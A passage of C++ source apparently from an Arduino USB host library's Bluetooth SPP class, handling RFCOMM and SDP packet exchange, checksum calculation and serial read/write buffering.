                         } else\n                                        serviceNotSupported(l2capinbuf[9], l2capinbuf[10]); // The service is not supported\n#ifdef EXTRADEBUG\n                                Notify(PSTR(\"\\r\\nUUID: \"), 0x80);\n                                uint16_t uuid;\n                                if((l2capinbuf[16] << 8 | l2capinbuf[17]) == 0x0000) // Check if it's sending the UUID as a 128-bit UUID\n                                        uuid = (l2capinbuf[18] << 8 | l2capinbuf[19]);\n                                else // Short UUID\n                                        uuid = (l2capinbuf[16] << 8 | l2capinbuf[17]);\n                                D_PrintHex<uint16_t > (uuid, 0x80);\n\n                                Notify(PSTR(\"\\r\\nLength: \"), 0x80);\n                                uint16_t length = l2capinbuf[11] << 8 | l2capinbuf[12];\n                                D_PrintHex<uint16_t > (length, 0x80);\n                                Notify(PSTR(\"\\r\\nData: \"), 0x80);\n                                for(uint8_t i = 0; i < length; i++) {\n                                        D_PrintHex<uint8_t > (l2capinbuf[13 + i], 0x80);\n                                        Notify(PSTR(\" \"), 0x80);\n                                }\n#endif\n                        }\n#ifdef EXTRADEBUG\n                        else {\n                                Notify(PSTR(\"\\r\\nUnknown PDU: \"), 0x80);\n                                D_PrintHex<uint8_t > (l2capinbuf[8], 0x80);\n                        }\n#endif\n                } else if(l2capinbuf[6] == rfcomm_dcid[0] && l2capinbuf[7] == rfcomm_dcid[1]) { // RFCOMM\n                        rfcommChannel = l2capinbuf[8] & 0xF8;\n                        rfcommDirection = l2capinbuf[8] & 0x04;\n                        rfcommCommandResponse = l2capinbuf[8] & 0x02;\n                        rfcommChannelType = l2capinbuf[9] & 0xEF;\n                        rfcommPfBit = l2capinbuf[9] & 0x10;\n\n                        if(rfcommChannel >> 3 != 0x00)\n                                rfcommChannelConnection = rfcommChannel;\n\n#ifdef EXTRADEBUG\n                        Notify(PSTR(\"\\r\\nRFCOMM Channel: \"), 0x80);\n                        D_PrintHex<uint8_t > (rfcommChannel >> 3, 0x80);\n                        Notify(PSTR(\" Direction: \"), 0x80);\n                        D_PrintHex<uint8_t > (rfcommDirection >> 2, 0x80);\n                        Notify(PSTR(\" CommandResponse: \"), 0x80);\n                        D_PrintHex<uint8_t > (rfcommCommandResponse >> 1, 0x80);\n                        Notify(PSTR(\" ChannelType: \"), 0x80);\n                        D_PrintHex<uint8_t > (rfcommChannelType, 0x80);\n                        Notify(PSTR(\" PF_BIT: \"), 0x80);\n                        D_PrintHex<uint8_t > (rfcommPfBit, 0x80);\n#endif\n                        if(rfcommChannelType == RFCOMM_DISC) {\n#ifdef DEBUG_USB_HOST\n                                Notify(PSTR(\"\\r\\nReceived Disconnect RFCOMM Command on channel: \"), 0x80);\n                                D_PrintHex<uint8_t > (rfcommChannel >> 3, 0x80);\n#endif\n                                connected = false;\n                                sendRfcomm(rfcommChannel, rfcommDirection, rfcommCommandResponse, RFCOMM_UA, rfcommPfBit, rfcommbuf, 0x00); // UA Command\n                        }\n                        if(connected) {\n                                /* Read the incoming message */\n                                if(rfcommChannelType == RFCOMM_UIH && rfcommChannel == rfcommChannelConnection) {\n                                        uint8_t length = l2capinbuf[10] >> 1; // Get length\n                                        uint8_t offset = l2capinbuf[4] - length - 4; // Check if there is credit\n                                        if(checkFcs(&l2capinbuf[8], l2capinbuf[11 + length + offset])) {\n                                                uint8_t i = 0;\n                                                for(; i < length; i++) {\n                                                        if(rfcommAvailable + i >= sizeof (rfcommDataBuffer)) {\n#ifdef DEBUG_USB_HOST\n                                                                Notify(PSTR(\"\\r\\nWarning: Buffer is full!\"), 0x80);\n#endif\n                                                                break;\n                                                        }\n                                                        rfcommDataBuffer[rfcommAvailable + i] = l2capinbuf[11 + i + offset];\n                                                }\n                                                rfcommAvailable += i;\n#ifdef EXTRADEBUG\n                                                Notify(PSTR(\"\\r\\nRFCOMM Data Available: \"), 0x80);\n                                                Notify(rfcommAvailable, 0x80);\n                                                if(offset) {\n                                                        Notify(PSTR(\" - Credit: 0x\"), 0x80);\n                                                        D_PrintHex<uint8_t > (l2capinbuf[11], 0x80);\n                                                }\n#endif\n                                        }\n#ifdef DEBUG_USB_HOST\n                                        else\n                                                Notify(PSTR(\"\\r\\nError in FCS checksum!\"), 0x80);\n#endif\n#ifdef PRINTREPORT // Uncomment \"#define PRINTREPORT\" to print the report send to the Arduino via Bluetooth\n                                        for(uint8_t i = 0; i < length; i++)\n                                                Notifyc(l2capinbuf[i + 11 + offset], 0x80);\n#endif\n                                } else if(rfcommChannelType == RFCOMM_UIH && l2capinbuf[11] == BT_RFCOMM_RPN_CMD) { // UIH Remote Port Negotiation Command\n#ifdef DEBUG_USB_HOST\n                                        Notify(PSTR(\"\\r\\nReceived UIH Remote Port Negotiation Command\"), 0x80);\n#endif\n                                        rfcommbuf[0] = BT_RFCOMM_RPN_RSP; // Command\n                                        rfcommbuf[1] = l2capinbuf[12]; // Length and shiftet like so: length << 1 | 1\n                                        rfcommbuf[2] = l2capinbuf[13]; // Channel: channel << 1 | 1\n                                        rfcommbuf[3] = l2capinbuf[14]; // Pre difined for Bluetooth, see 5.5.3 of TS 07.10 Adaption for RFCOMM\n                                        rfcommbuf[4] = l2capinbuf[15]; // Priority\n                                        rfcommbuf[5] = l2capinbuf[16]; // Timer\n                                        rfcommbuf[6] = l2capinbuf[17]; // Max Fram Size LSB\n                                        rfcommbuf[7] = l2capinbuf[18]; // Max Fram Size MSB\n                                        rfcommbuf[8] = l2capinbuf[19]; // MaxRatransm.\n                                        rfcommbuf[9] = l2capinbuf[20]; // Number of Frames\n                                        sendRfcomm(rfcommChannel, rfcommDirection, 0, RFCOMM_UIH, rfcommPfBit, rfcommbuf, 0x0A); // UIH Remote Port Negotiation Response\n                                } else if(rfcommChannelType == RFCOMM_UIH && l2capinbuf[11] == BT_RFCOMM_MSC_CMD) { // UIH Modem Status Command\n#ifdef DEBUG_USB_HOST\n                                        Notify(PSTR(\"\\r\\nSend UIH Modem Status Response\"), 0x80);\n#endif\n                                        rfcommbuf[0] = BT_RFCOMM_MSC_RSP; // UIH Modem Status Response\n                                        rfcommbuf[1] = 2 << 1 | 1; // Length and shiftet like so: length << 1 | 1\n                                        rfcommbuf[2] = l2capinbuf[13]; // Channel: (1 << 0) | (1 << 1) | (0 << 2) | (channel << 3)\n                                        rfcommbuf[3] = l2capinbuf[14];\n                                        sendRfcomm(rfcommChannel, rfcommDirection, 0, RFCOMM_UIH, rfcommPfBit, rfcommbuf, 0x04);\n                                }\n                        } else {\n                                if(rfcommChannelType == RFCOMM_SABM) { // SABM Command - this is sent twice: once for channel 0 and then for the channel to establish\n#ifdef DEBUG_USB_HOST\n                                        Notify(PSTR(\"\\r\\nReceived SABM Command\"), 0x80);\n#endif\n                                        sendRfcomm(rfcommChannel, rfcommDirection, rfcommCommandResponse, RFCOMM_UA, rfcommPfBit, rfcommbuf, 0x00); // UA Command\n                                } else if(rfcommChannelType == RFCOMM_UIH && l2capinbuf[11] == BT_RFCOMM_PN_CMD) { // UIH Parameter Negotiation Command\n#ifdef DEBUG_USB_HOST\n                                        Notify(PSTR(\"\\r\\nReceived UIH Parameter Negotiation Command\"), 0x80);\n#endif\n                                        rfcommbuf[0] = BT_RFCOMM_PN_RSP; // UIH Parameter Negotiation Response\n                                        rfcommbuf[1] = l2capinbuf[12]; // Length and shiftet like so: length << 1 | 1\n                                        rfcommbuf[2] = l2capinbuf[13]; // Channel: channel << 1 | 1\n                                        rfcommbuf[3] = 0xE0; // Pre difined for Bluetooth, see 5.5.3 of TS 07.10 Adaption for RFCOMM\n                                        rfcommbuf[4] = 0x00; // Priority\n                                        rfcommbuf[5] = 0x00; // Timer\n                                        rfcommbuf[6] = BULK_MAXPKTSIZE - 14; // Max Fram Size LSB - set to the size of received data (50)\n                                        rfcommbuf[7] = 0x00; // Max Fram Size MSB\n                                        rfcommbuf[8] = 0x00; // MaxRatransm.\n                                        rfcommbuf[9] = 0x00; // Number of Frames\n                                        sendRfcomm(rfcommChannel, rfcommDirection, 0, RFCOMM_UIH, rfcommPfBit, rfcommbuf, 0x0A);\n                                } else if(rfcommChannelType == RFCOMM_UIH && l2capinbuf[11] == BT_RFCOMM_MSC_CMD) { // UIH Modem Status Command\n#ifdef DEBUG_USB_HOST\n                                        Notify(PSTR(\"\\r\\nSend UIH Modem Status Response\"), 0x80);\n#endif\n                                        rfcommbuf[0] = BT_RFCOMM_MSC_RSP; // UIH Modem Status Response\n                                        rfcommbuf[1] = 2 << 1 | 1; // Length and shiftet like so: length << 1 | 1\n                                        rfcommbuf[2] = l2capinbuf[13]; // Channel: (1 << 0) | (1 << 1) | (0 << 2) | (channel << 3)\n                                        rfcommbuf[3] = l2capinbuf[14];\n                                        sendRfcomm(rfcommChannel, rfcommDirection, 0, RFCOMM_UIH, rfcommPfBit, rfcommbuf, 0x04);\n\n                                        delay(1);\n#ifdef DEBUG_USB_HOST\n                                        Notify(PSTR(\"\\r\\nSend UIH Modem Status Command\"), 0x80);\n#endif\n                                        rfcommbuf[0] = BT_RFCOMM_MSC_CMD; // UIH Modem Status Command\n                                        rfcommbuf[1] = 2 << 1 | 1; // Length and shiftet like so: length << 1 | 1\n                                        rfcommbuf[2] = l2capinbuf[13]; // Channel: (1 << 0) | (1 << 1) | (0 << 2) | (channel << 3)\n                                        rfcommbuf[3] = 0x8D; // Can receive frames (YES), Ready to Communicate (YES), Ready to Receive (YES), Incomig Call (NO), Data is Value (YES)\n\n                                        sendRfcomm(rfcommChannel, rfcommDirection, 0, RFCOMM_UIH, rfcommPfBit, rfcommbuf, 0x04);\n                                } else if(rfcommChannelType == RFCOMM_UIH && l2capinbuf[11] == BT_RFCOMM_MSC_RSP) { // UIH Modem Status Response\n                                        if(!creditSent) {\n#ifdef DEBUG_USB_HOST\n                                                Notify(PSTR(\"\\r\\nSend UIH Command with credit\"), 0x80);\n#endif\n                                                sendRfcommCredit(rfcommChannelConnection, rfcommDirection, 0, RFCOMM_UIH, 0x10, sizeof (rfcommDataBuffer)); // Send credit\n                                                creditSent = true;\n                                                timer = (uint32_t)millis();\n                                                waitForLastCommand = true;\n                                        }\n                                } else if(rfcommChannelType == RFCOMM_UIH && l2capinbuf[10] == 0x01) { // UIH Command with credit\n#ifdef DEBUG_USB_HOST\n                                        Notify(PSTR(\"\\r\\nReceived UIH Command with credit\"), 0x80);\n#endif\n                                } else if(rfcommChannelType == RFCOMM_UIH && l2capinbuf[11] == BT_RFCOMM_RPN_CMD) { // UIH Remote Port Negotiation Command\n#ifdef DEBUG_USB_HOST\n                                        Notify(PSTR(\"\\r\\nReceived UIH Remote Port Negotiation Command\"), 0x80);\n#endif\n                                        rfcommbuf[0] = BT_RFCOMM_RPN_RSP; // Command\n                                        rfcommbuf[1] = l2capinbuf[12]; // Length and shiftet like so: length << 1 | 1\n                                        rfcommbuf[2] = l2capinbuf[13]; // Channel: channel << 1 | 1\n                                        rfcommbuf[3] = l2capinbuf[14]; // Pre difined for Bluetooth, see 5.5.3 of TS 07.10 Adaption for RFCOMM\n                                        rfcommbuf[4] = l2capinbuf[15]; // Priority\n                                        rfcommbuf[5] = l2capinbuf[16]; // Timer\n                                        rfcommbuf[6] = l2capinbuf[17]; // Max Fram Size LSB\n                                        rfcommbuf[7] = l2capinbuf[18]; // Max Fram Size MSB\n                                        rfcommbuf[8] = l2capinbuf[19]; // MaxRatransm.\n                                        rfcommbuf[9] = l2capinbuf[20]; // Number of Frames\n                                        sendRfcomm(rfcommChannel, rfcommDirection, 0, RFCOMM_UIH, rfcommPfBit, rfcommbuf, 0x0A); // UIH Remote Port Negotiation Response\n#ifdef DEBUG_USB_HOST\n                                        Notify(PSTR(\"\\r\\nRFCOMM Connection is now established\\r\\n\"), 0x80);\n#endif\n                                        onInit();\n                                }\n#ifdef EXTRADEBUG\n                                else if(rfcommChannelType != RFCOMM_DISC) {\n                                        Notify(PSTR(\"\\r\\nUnsupported RFCOMM Data - ChannelType: \"), 0x80);\n                                        D_PrintHex<uint8_t > (rfcommChannelType, 0x80);\n                                        Notify(PSTR(\" Command: \"), 0x80);\n                                        D_PrintHex<uint8_t > (l2capinbuf[11], 0x80);\n                                }\n#endif\n                        }\n                }\n#ifdef EXTRADEBUG\n                else {\n                        Notify(PSTR(\"\\r\\nUnsupported L2CAP Data - Channel ID: \"), 0x80);\n                        D_PrintHex<uint8_t > (l2capinbuf[7], 0x80);\n                        Notify(PSTR(\" \"), 0x80);\n                        D_PrintHex<uint8_t > (l2capinbuf[6], 0x80);\n                }\n#endif\n                SDP_task();\n                RFCOMM_task();\n        }\n}\n\nvoid SPP::Run() {\n        if(waitForLastCommand && (int32_t)((uint32_t)millis() - timer) > 100) { // We will only wait 100ms and see if the UIH Remote Port Negotiation Command is send, as some deviced don't send it\n#ifdef DEBUG_USB_HOST\n                Notify(PSTR(\"\\r\\nRFCOMM Connection is now established - Automatic\\r\\n\"), 0x80);\n#endif\n                onInit();\n        }\n        send(); // Send all bytes currently in the buffer\n}\n\nvoid SPP::onInit() {\n        creditSent = false;\n        waitForLastCommand = false;\n        connected = true; // The RFCOMM channel is now established\n        sppIndex = 0;\n        if(pFuncOnInit)\n                pFuncOnInit(); // Call the user function\n};\n\nvoid SPP::SDP_task() {\n        switch(l2cap_sdp_state) {\n                case L2CAP_SDP_WAIT:\n                        if(l2cap_check_flag(L2CAP_FLAG_CONNECTION_SDP_REQUEST)) {\n                                l2cap_clear_flag(L2CAP_FLAG_CONNECTION_SDP_REQUEST); // Clear flag\n#ifdef DEBUG_USB_HOST\n                                Notify(PSTR(\"\\r\\nSDP Incoming Connection Request\"), 0x80);\n#endif\n                                pBtd->l2cap_connection_response(hci_handle, identifier, sdp_dcid, sdp_scid, PENDING);\n                                delay(1);\n                                pBtd->l2cap_connection_response(hci_handle, identifier, sdp_dcid, sdp_scid, SUCCESSFUL);\n                                identifier++;\n                                delay(1);\n                                pBtd->l2cap_config_request(hci_handle, identifier, sdp_scid);\n                                l2cap_sdp_state = L2CAP_SDP_SUCCESS;\n                        } else if(l2cap_check_flag(L2CAP_FLAG_DISCONNECT_SDP_REQUEST)) {\n                                l2cap_clear_flag(L2CAP_FLAG_DISCONNECT_SDP_REQUEST); // Clear flag\n                                SDPConnected = false;\n#ifdef DEBUG_USB_HOST\n                                Notify(PSTR(\"\\r\\nDisconnected SDP Channel\"), 0x80);\n#endif\n                                pBtd->l2cap_disconnection_response(hci_handle, identifier, sdp_dcid, sdp_scid);\n                        }\n                        break;\n                case L2CAP_SDP_SUCCESS:\n                        if(l2cap_check_flag(L2CAP_FLAG_CONFIG_SDP_SUCCESS)) {\n                                l2cap_clear_flag(L2CAP_FLAG_CONFIG_SDP_SUCCESS); // Clear flag\n#ifdef DEBUG_USB_HOST\n                                Notify(PSTR(\"\\r\\nSDP Successfully Configured\"), 0x80);\n#endif\n                                firstMessage = true; // Reset bool\n                                SDPConnected = true;\n                                l2cap_sdp_state = L2CAP_SDP_WAIT;\n                        }\n                        break;\n\n                case L2CAP_DISCONNECT_RESPONSE: // This is for both disconnection response from the RFCOMM and SDP channel if they were connected\n                        if(l2cap_check_flag(L2CAP_FLAG_DISCONNECT_RESPONSE)) {\n#ifdef DEBUG_USB_HOST\n                                Notify(PSTR(\"\\r\\nDisconnected L2CAP Connection\"), 0x80);\n#endif\n                                pBtd->hci_disconnect(hci_handle);\n                                hci_handle = -1; // Reset handle\n                                Reset();\n                        }\n                        break;\n        }\n}\n\nvoid SPP::RFCOMM_task() {\n        switch(l2cap_rfcomm_state) {\n                case L2CAP_RFCOMM_WAIT:\n                        if(l2cap_check_flag(L2CAP_FLAG_CONNECTION_RFCOMM_REQUEST)) {\n                                l2cap_clear_flag(L2CAP_FLAG_CONNECTION_RFCOMM_REQUEST); // Clear flag\n#ifdef DEBUG_USB_HOST\n                                Notify(PSTR(\"\\r\\nRFCOMM Incoming Connection Request\"), 0x80);\n#endif\n                                pBtd->l2cap_connection_response(hci_handle, identifier, rfcomm_dcid, rfcomm_scid, PENDING);\n                                delay(1);\n                                pBtd->l2cap_connection_response(hci_handle, identifier, rfcomm_dcid, rfcomm_scid, SUCCESSFUL);\n                                identifier++;\n                                delay(1);\n                                pBtd->l2cap_config_request(hci_handle, identifier, rfcomm_scid);\n                                l2cap_rfcomm_state = L2CAP_RFCOMM_SUCCESS;\n                        } else if(l2cap_check_flag(L2CAP_FLAG_DISCONNECT_RFCOMM_REQUEST)) {\n                                l2cap_clear_flag(L2CAP_FLAG_DISCONNECT_RFCOMM_REQUEST); // Clear flag\n                                RFCOMMConnected = false;\n                                connected = false;\n#ifdef DEBUG_USB_HOST\n                                Notify(PSTR(\"\\r\\nDisconnected RFCOMM Channel\"), 0x80);\n#endif\n                                pBtd->l2cap_disconnection_response(hci_handle, identifier, rfcomm_dcid, rfcomm_scid);\n                        }\n                        break;\n                case L2CAP_RFCOMM_SUCCESS:\n                        if(l2cap_check_flag(L2CAP_FLAG_CONFIG_RFCOMM_SUCCESS)) {\n                                l2cap_clear_flag(L2CAP_FLAG_CONFIG_RFCOMM_SUCCESS); // Clear flag\n#ifdef DEBUG_USB_HOST\n                                Notify(PSTR(\"\\r\\nRFCOMM Successfully Configured\"), 0x80);\n#endif\n                                rfcommAvailable = 0; // Reset number of bytes available\n                                bytesRead = 0; // Reset number of bytes received\n                                RFCOMMConnected = true;\n                                l2cap_rfcomm_state = L2CAP_RFCOMM_WAIT;\n                        }\n                        break;\n        }\n}\n/************************************************************/\n/*                    SDP Commands                          */\n\n/************************************************************/\nvoid SPP::SDP_Command(uint8_t* data, uint8_t nbytes) { // See page 223 in the Bluetooth specs\n        pBtd->L2CAP_Command(hci_handle, data, nbytes, sdp_scid[0], sdp_scid[1]);\n}\n\nvoid SPP::serviceNotSupported(uint8_t transactionIDHigh, uint8_t transactionIDLow) { // See page 235 in the Bluetooth specs\n        l2capoutbuf[0] = SDP_SERVICE_SEARCH_ATTRIBUTE_RESPONSE_PDU;\n        l2capoutbuf[1] = transactionIDHigh;\n        l2capoutbuf[2] = transactionIDLow;\n        l2capoutbuf[3] = 0x00; // MSB Parameter Length\n        l2capoutbuf[4] = 0x05; // LSB Parameter Length = 5\n        l2capoutbuf[5] = 0x00; // MSB AttributeListsByteCount\n        l2capoutbuf[6] = 0x02; // LSB AttributeListsByteCount = 2\n\n        /* Attribute ID/Value Sequence: */\n        l2capoutbuf[7] = 0x35; // Data element sequence - length in next byte\n        l2capoutbuf[8] = 0x00; // Length = 0\n        l2capoutbuf[9] = 0x00; // No continuation state\n\n        SDP_Command(l2capoutbuf, 10);\n}\n\nvoid SPP::serialPortResponse1(uint8_t transactionIDHigh, uint8_t transactionIDLow) {\n        l2capoutbuf[0] = SDP_SERVICE_SEARCH_ATTRIBUTE_RESPONSE_PDU;\n        l2capoutbuf[1] = transactionIDHigh;\n        l2capoutbuf[2] = transactionIDLow;\n        l2capoutbuf[3] = 0x00; // MSB Parameter Length\n        l2capoutbuf[4] = 0x2B; // LSB Parameter Length = 43\n        l2capoutbuf[5] = 0x00; // MSB AttributeListsByteCount\n        l2capoutbuf[6] = 0x26; // LSB AttributeListsByteCount = 38\n\n        /* Attribute ID/Value Sequence: */\n        l2capoutbuf[7] = 0x36; // Data element sequence - length in next two bytes\n        l2capoutbuf[8] = 0x00; // MSB Length\n        l2capoutbuf[9] = 0x3C; // LSB Length = 60\n\n        l2capoutbuf[10] = 0x36; // Data element sequence - length in next two bytes\n        l2capoutbuf[11] = 0x00; // MSB Length\n        l2capoutbuf[12] = 0x39; // LSB Length = 57\n\n        l2capoutbuf[13] = 0x09; // Unsigned Integer - length 2 bytes\n        l2capoutbuf[14] = 0x00; // MSB ServiceRecordHandle\n        l2capoutbuf[15] = 0x00; // LSB ServiceRecordHandle\n        l2capoutbuf[16] = 0x0A; // Unsigned int - length 4 bytes\n        l2capoutbuf[17] = 0x00; // ServiceRecordHandle value - TODO: Is this related to HCI_Handle?\n        l2capoutbuf[18] = 0x01;\n        l2capoutbuf[19] = 0x00;\n        l2capoutbuf[20] = 0x06;\n\n        l2capoutbuf[21] = 0x09; // Unsigned Integer - length 2 bytes\n        l2capoutbuf[22] = 0x00; // MSB ServiceClassIDList\n        l2capoutbuf[23] = 0x01; // LSB ServiceClassIDList\n        l2capoutbuf[24] = 0x35; // Data element sequence - length in next byte\n        l2capoutbuf[25] = 0x03; // Length = 3\n        l2capoutbuf[26] = 0x19; // UUID (universally unique identifier) - length = 2 bytes\n        l2capoutbuf[27] = 0x11; // MSB SerialPort\n        l2capoutbuf[28] = 0x01; // LSB SerialPort\n\n        l2capoutbuf[29] = 0x09; // Unsigned Integer - length 2 bytes\n        l2capoutbuf[30] = 0x00; // MSB ProtocolDescriptorList\n        l2capoutbuf[31] = 0x04; // LSB ProtocolDescriptorList\n        l2capoutbuf[32] = 0x35; // Data element sequence - length in next byte\n        l2capoutbuf[33] = 0x0C; // Length = 12\n\n        l2capoutbuf[34] = 0x35; // Data element sequence - length in next byte\n        l2capoutbuf[35] = 0x03; // Length = 3\n        l2capoutbuf[36] = 0x19; // UUID (universally unique identifier) - length = 2 bytes\n        l2capoutbuf[37] = 0x01; // MSB L2CAP\n        l2capoutbuf[38] = 0x00; // LSB L2CAP\n\n        l2capoutbuf[39] = 0x35; // Data element sequence - length in next byte\n        l2capoutbuf[40] = 0x05; // Length = 5\n        l2capoutbuf[41] = 0x19; // UUID (universally unique identifier) - length = 2 bytes\n        l2capoutbuf[42] = 0x00; // MSB RFCOMM\n        l2capoutbuf[43] = 0x03; // LSB RFCOMM\n        l2capoutbuf[44] = 0x08; // Unsigned Integer - length 1 byte\n\n        l2capoutbuf[45] = 0x02; // ContinuationState - Two more bytes\n        l2capoutbuf[46] = 0x00; // MSB length\n        l2capoutbuf[47] = 0x19; // LSB length = 25 more bytes to come\n\n        SDP_Command(l2capoutbuf, 48);\n}\n\nvoid SPP::serialPortResponse2(uint8_t transactionIDHigh, uint8_t transactionIDLow) {\n        l2capoutbuf[0] = SDP_SERVICE_SEARCH_ATTRIBUTE_RESPONSE_PDU;\n        l2capoutbuf[1] = transactionIDHigh;\n        l2capoutbuf[2] = transactionIDLow;\n        l2capoutbuf[3] = 0x00; // MSB Parameter Length\n        l2capoutbuf[4] = 0x1C; // LSB Parameter Length = 28\n        l2capoutbuf[5] = 0x00; // MSB AttributeListsByteCount\n        l2capoutbuf[6] = 0x19; // LSB AttributeListsByteCount = 25\n\n        /* Attribute ID/Value Sequence: */\n        l2capoutbuf[7] = 0x01; // Channel 1 - TODO: Try different values, so multiple servers can be used at once\n\n        l2capoutbuf[8] = 0x09; // Unsigned Integer - length 2 bytes\n        l2capoutbuf[9] = 0x00; // MSB LanguageBaseAttributeIDList\n        l2capoutbuf[10] = 0x06; // LSB LanguageBaseAttributeIDList\n        l2capoutbuf[11] = 0x35; // Data element sequence - length in next byte\n        l2capoutbuf[12] = 0x09; // Length = 9\n\n        // Identifier representing the natural language = en = English - see: \"ISO 639:1988\"\n        l2capoutbuf[13] = 0x09; // Unsigned Integer - length 2 bytes\n        l2capoutbuf[14] = 0x65; // 'e'\n        l2capoutbuf[15] = 0x6E; // 'n'\n\n        // \"The second element of each triplet contains an identifier that specifies a character encoding used for the language\"\n        // Encoding is set to 106 (UTF-8) - see: http://www.iana.org/assignments/character-sets/character-sets.xhtml\n        l2capoutbuf[16] = 0x09; // Unsigned Integer - length 2 bytes\n        l2capoutbuf[17] = 0x00; // MSB of character encoding\n        l2capoutbuf[18] = 0x6A; // LSB of character encoding (106)\n\n        // Attribute ID that serves as the base attribute ID for the natural language in the service record\n        // \"To facilitate the retrieval of human-readable universal attributes in a principal language, the base attribute ID value for the primary language supported by a service record shall be 0x0100\"\n        l2capoutbuf[19] = 0x09; // Unsigned Integer - length 2 bytes\n        l2capoutbuf[20] = 0x01;\n        l2capoutbuf[21] = 0x00;\n\n        l2capoutbuf[22] = 0x09; // Unsigned Integer - length 2 bytes\n        l2capoutbuf[23] = 0x01; // MSB ServiceDescription\n        l2capoutbuf[24] = 0x00; // LSB ServiceDescription\n\n        l2capoutbuf[25] = 0x25; // Text string - length in next byte\n        l2capoutbuf[26] = 0x05; // Name length\n        l2capoutbuf[27] = 'T';\n        l2capoutbuf[28] = 'K';\n        l2capoutbuf[29] = 'J';\n        l2capoutbuf[30] = 'S';\n        l2capoutbuf[31] = 'P';\n        l2capoutbuf[32] = 0x00; // No continuation state\n\n        SDP_Command(l2capoutbuf, 33);\n}\n\nvoid SPP::l2capResponse1(uint8_t transactionIDHigh, uint8_t transactionIDLow) {\n        serialPortResponse1(transactionIDHigh, transactionIDLow); // These has to send all the supported functions, since it only supports virtual serialport it just sends the message again\n}\n\nvoid SPP::l2capResponse2(uint8_t transactionIDHigh, uint8_t transactionIDLow) {\n        serialPortResponse2(transactionIDHigh, transactionIDLow); // Same data as serialPortResponse2\n}\n/************************************************************/\n/*                    RFCOMM Commands                       */\n\n/************************************************************/\nvoid SPP::RFCOMM_Command(uint8_t* data, uint8_t nbytes) {\n        pBtd->L2CAP_Command(hci_handle, data, nbytes, rfcomm_scid[0], rfcomm_scid[1]);\n}\n\nvoid SPP::sendRfcomm(uint8_t channel, uint8_t direction, uint8_t CR, uint8_t channelType, uint8_t pfBit, uint8_t* data, uint8_t length) {\n        l2capoutbuf[0] = channel | direction | CR | extendAddress; // RFCOMM Address\n        l2capoutbuf[1] = channelType | pfBit; // RFCOMM Control\n        l2capoutbuf[2] = length << 1 | 0x01; // Length and format (always 0x01 bytes format)\n        uint8_t i = 0;\n        for(; i < length; i++)\n                l2capoutbuf[i + 3] = data[i];\n        l2capoutbuf[i + 3] = calcFcs(l2capoutbuf);\n#ifdef EXTRADEBUG\n        Notify(PSTR(\" - RFCOMM Data: \"), 0x80);\n        for(i = 0; i < length + 4; i++) {\n                D_PrintHex<uint8_t > (l2capoutbuf[i], 0x80);\n                Notify(PSTR(\" \"), 0x80);\n        }\n#endif\n        RFCOMM_Command(l2capoutbuf, length + 4);\n}\n\nvoid SPP::sendRfcommCredit(uint8_t channel, uint8_t direction, uint8_t CR, uint8_t channelType, uint8_t pfBit, uint8_t credit) {\n        l2capoutbuf[0] = channel | direction | CR | extendAddress; // RFCOMM Address\n        l2capoutbuf[1] = channelType | pfBit; // RFCOMM Control\n        l2capoutbuf[2] = 0x01; // Length = 0\n        l2capoutbuf[3] = credit; // Credit\n        l2capoutbuf[4] = calcFcs(l2capoutbuf);\n#ifdef EXTRADEBUG\n        Notify(PSTR(\" - RFCOMM Credit Data: \"), 0x80);\n        for(uint8_t i = 0; i < 5; i++) {\n                D_PrintHex<uint8_t > (l2capoutbuf[i], 0x80);\n                Notify(PSTR(\" \"), 0x80);\n        }\n#endif\n        RFCOMM_Command(l2capoutbuf, 5);\n}\n\n/* CRC on 2 bytes */\nuint8_t SPP::crc(uint8_t *data) {\n        return (pgm_read_byte(&rfcomm_crc_table[pgm_read_byte(&rfcomm_crc_table[0xFF ^ data[0]]) ^ data[1]]));\n}\n\n/* Calculate FCS */\nuint8_t SPP::calcFcs(uint8_t *data) {\n        uint8_t temp = crc(data);\n        if((data[1] & 0xEF) == RFCOMM_UIH)\n                return (0xFF - temp); // FCS on 2 bytes\n        else\n                return (0xFF - pgm_read_byte(&rfcomm_crc_table[temp ^ data[2]])); // FCS on 3 bytes\n}\n\n/* Check FCS */\nbool SPP::checkFcs(uint8_t *data, uint8_t fcs) {\n        uint8_t temp = crc(data);\n        if((data[1] & 0xEF) != RFCOMM_UIH)\n                temp = pgm_read_byte(&rfcomm_crc_table[temp ^ data[2]]); // FCS on 3 bytes\n        return (pgm_read_byte(&rfcomm_crc_table[temp ^ fcs]) == 0xCF);\n}\n\n/* Serial commands */\n#if defined(ARDUINO) && ARDUINO >=100\n\nsize_t SPP::write(uint8_t data) {\n        return write(&data, 1);\n}\n#else\n\nvoid SPP::write(uint8_t data) {\n        write(&data, 1);\n}\n#endif\n\n#if defined(ARDUINO) && ARDUINO >=100\n\nsize_t SPP::write(const uint8_t *data, size_t size) {\n#else\n\nvoid SPP::write(const uint8_t *data, size_t size) {\n#endif\n        for(uint8_t i = 0; i < size; i++) {\n                if(sppIndex >= sizeof (sppOutputBuffer) / sizeof (sppOutputBuffer[0]))\n                        send(); // Send the current data in the buffer\n                sppOutputBuffer[sppIndex++] = data[i]; // All the bytes are put into a buffer and then send using the send() function\n        }\n#if defined(ARDUINO) && ARDUINO >=100\n        return size;\n#endif\n}\n\nvoid SPP::send() {\n        if(!connected || !sppIndex)\n                return;\n        uint8_t length; // This is the length of the string we are sending\n        uint8_t offset = 0; // This is used to keep track of where we are in the string\n\n        l2capoutbuf[0] = rfcommChannelConnection | 0 | 0 | extendAddress; // RFCOMM Address\n        l2capoutbuf[1] = RFCOMM_UIH; // RFCOMM Control\n\n        while(sppIndex) { // We will run this while loop until this variable is 0\n                if(sppIndex > (sizeof (l2capoutbuf) - 4)) // Check if the string is larger than the outgoing buffer\n                        length = sizeof (l2capoutbuf) - 4;\n                else\n                        length = sppIndex;\n\n                l2capoutbuf[2] = length << 1 | 1; // Length\n                uint8_t i = 0;\n                for(; i < length; i++)\n                        l2capoutbuf[i + 3] = sppOutputBuffer[i + offset];\n                l2capoutbuf[i + 3] = calcFcs(l2capoutbuf); // Calculate checksum\n\n                RFCOMM_Command(l2capoutbuf, length + 4);\n\n                sppIndex -= length;\n                offset += length; // Increment the offset\n        }\n}\n\nint SPP::available(void) {\n        return rfcommAvailable;\n};\n\nvoid SPP::discard(void) {\n        rfcommAvailable = 0;\n}\n\nint SPP::peek(void) {\n        if(rfcommAvailable == 0) // Don't read if there is nothing in the buffer\n                return -1;\n        return rfcommDataBuffer[0];\n}\n\nint SPP::read(void) {\n        if(rfcommAvailable == 0) // Don't read if there is nothing in the buffer\n                return -1;\n        uint8_t output = rfcommDataBuffer[0];\n      